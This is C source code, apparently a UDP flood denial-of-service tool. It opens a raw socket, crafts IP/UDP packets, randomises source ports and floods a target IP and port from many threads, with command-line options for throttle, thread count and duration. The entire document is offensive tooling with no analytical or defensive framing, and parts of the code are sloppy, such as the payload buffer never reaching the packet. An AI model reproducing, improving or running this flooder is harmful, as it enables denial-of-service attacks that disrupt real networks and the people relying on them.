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- #include <time.h>
- #include <pthread.h>
- #include <unistd.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/socket.h>
- #include <netinet/ip.h>
- #include <netinet/udp.h>
- #define MAX_PACKET_SIZE 4096
- #define PHI 0x9e3779b9
- static uint32_t Q[4096], c = 362436;
- struct thread_data{
- int throttle;
- int thread_id;
- unsigned int floodport;
- struct sockaddr_in sin;
- };
- void init_rand(uint32_t x)
- {
- int i;
- Q[0] = x;
- Q[1] = x + PHI;
- Q[2] = x + PHI + PHI;
- for (i = 3; i < 4096; i++)
- Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
- }
- uint32_t rand_cmwc(void)
- {
- uint64_t t, a = 18782LL;
- static uint32_t i = 4095;
- uint32_t x, r = 0xfffffffe;
- i = (i + 1) & 4095;
- t = a * Q[i] + c;
- c = (t >> 32);
- x = t + c;
- if (x < c) {
- x++;
- c++;
- }
- return (Q[i] = r - x);
- }
- char *myStrCat (char *s, char *a) {
- while (*s != '\0') s++;
- while (*a != '\0') *s++ = *a++;
- *s = '\0';
- return s;
- }
- char *replStr (char *str, size_t count) {
- if (count == 0) return NULL;
- char *ret = malloc (strlen (str) * count + count);
- if (ret == NULL) return NULL;
- *ret = '\0';
- char *tmp = myStrCat (ret, str);
- while (--count > 0) {
- tmp = myStrCat (tmp, str);
- }
- return ret;
- }
- unsigned short csum (unsigned short *buf, int nwords)
- {
- unsigned long sum;
- for (sum = 0; nwords > 0; nwords--)
- sum += *buf++;
- sum = (sum >> 16) + (sum & 0xffff);
- sum += (sum >> 16);
- return (unsigned short)(~sum);
- }
- void setup_ip_header(struct iphdr *iph)
- {
- iph->ihl = 5;
- iph->version = 4;
- iph->tos = 0;
- iph->tot_len = sizeof(struct iphdr) + 1028;
- iph->id = htonl(54321);
- iph->frag_off = 0;
- iph->ttl = MAXTTL;
- iph->protocol = IPPROTO_UDP;
- iph->check = 0;
- }
- void setup_udp_header(struct udphdr *udph)
- {
- udph->source = htons(5678);
- udph->check = 0;
- char *data = (char *)udph + sizeof(struct udphdr);
- data = replStr("\xFF" "\xFF" "\xFF" "\xFF", 256);
- udph->len=htons(1028);
- }
- void *flood(void *par1)
- {
- struct thread_data *td = (struct thread_data *)par1;
- fprintf(stdout, "Thread %d started\n", td->thread_id);
- char datagram[MAX_PACKET_SIZE];
- struct iphdr *iph = (struct iphdr *)datagram;
- struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
- struct sockaddr_in sin = td->sin;
- char new_ip[sizeof "255.255.255.255"];
- int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
- if(s < 0){
- fprintf(stderr, "Could not open raw socket.\n");
- exit(-1);
- }
- unsigned int floodport = td->floodport;
- memset(datagram, 0, MAX_PACKET_SIZE);
- setup_ip_header(iph);
- setup_udp_header(udph);
- udph->dest = htons(floodport);
- iph->daddr = sin.sin_addr.s_addr;
- iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
- int tmp = 1;
- const int *val = &tmp;
- if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
- fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
- exit(-1);
- }
- int throttle = td->throttle;
- uint32_t random_num;
- init_rand(time(NULL));
- if(throttle == 0){
- while(1){
- sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
- random_num = rand_cmwc();
- udph->source = htons(random_num & 0xFFFF);
- iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
- }
- } else {
- while(1){
- throttle = td->throttle;
- sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
- random_num = rand_cmwc();
- udph->source = htons(random_num & 0xFFFF);
- iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
- while(--throttle);
- }
- }
- }
- int main(int argc, char *argv[ ])
- {
- if(argc < 5){
- fprintf(stderr, "Invalid parameters!\n");
- fprintf(stdout, "\nUsage: %s <target IP> <port to be flooded> <throttle> <number threads to use> <time>\n", argv[0]);
- exit(-1);
- }
- fprintf(stdout, "Setting up Sockets...\n");
- int num_threads = atoi(argv[4]);
- unsigned int floodport = atoi(argv[2]);
- pthread_t thread[num_threads];
- struct sockaddr_in sin;
- sin.sin_family = AF_INET;
- sin.sin_port = htons(floodport);
- sin.sin_addr.s_addr = inet_addr(argv[1]);
- struct thread_data td[num_threads];
- int i;
- for(i = 0;i<num_threads;i++){
- td[i].thread_id = i;
- td[i].sin = sin;
- td[i].floodport = floodport;
- td[i].throttle = atoi(argv[3]);
- pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
- }
- fprintf(stdout, "Starting Flood...\n");
- if(argc > 5)
- {
- sleep(atoi(argv[5]));
- } else {
- while(1){
- sleep(1);
- }
- }
- return 0;
- }
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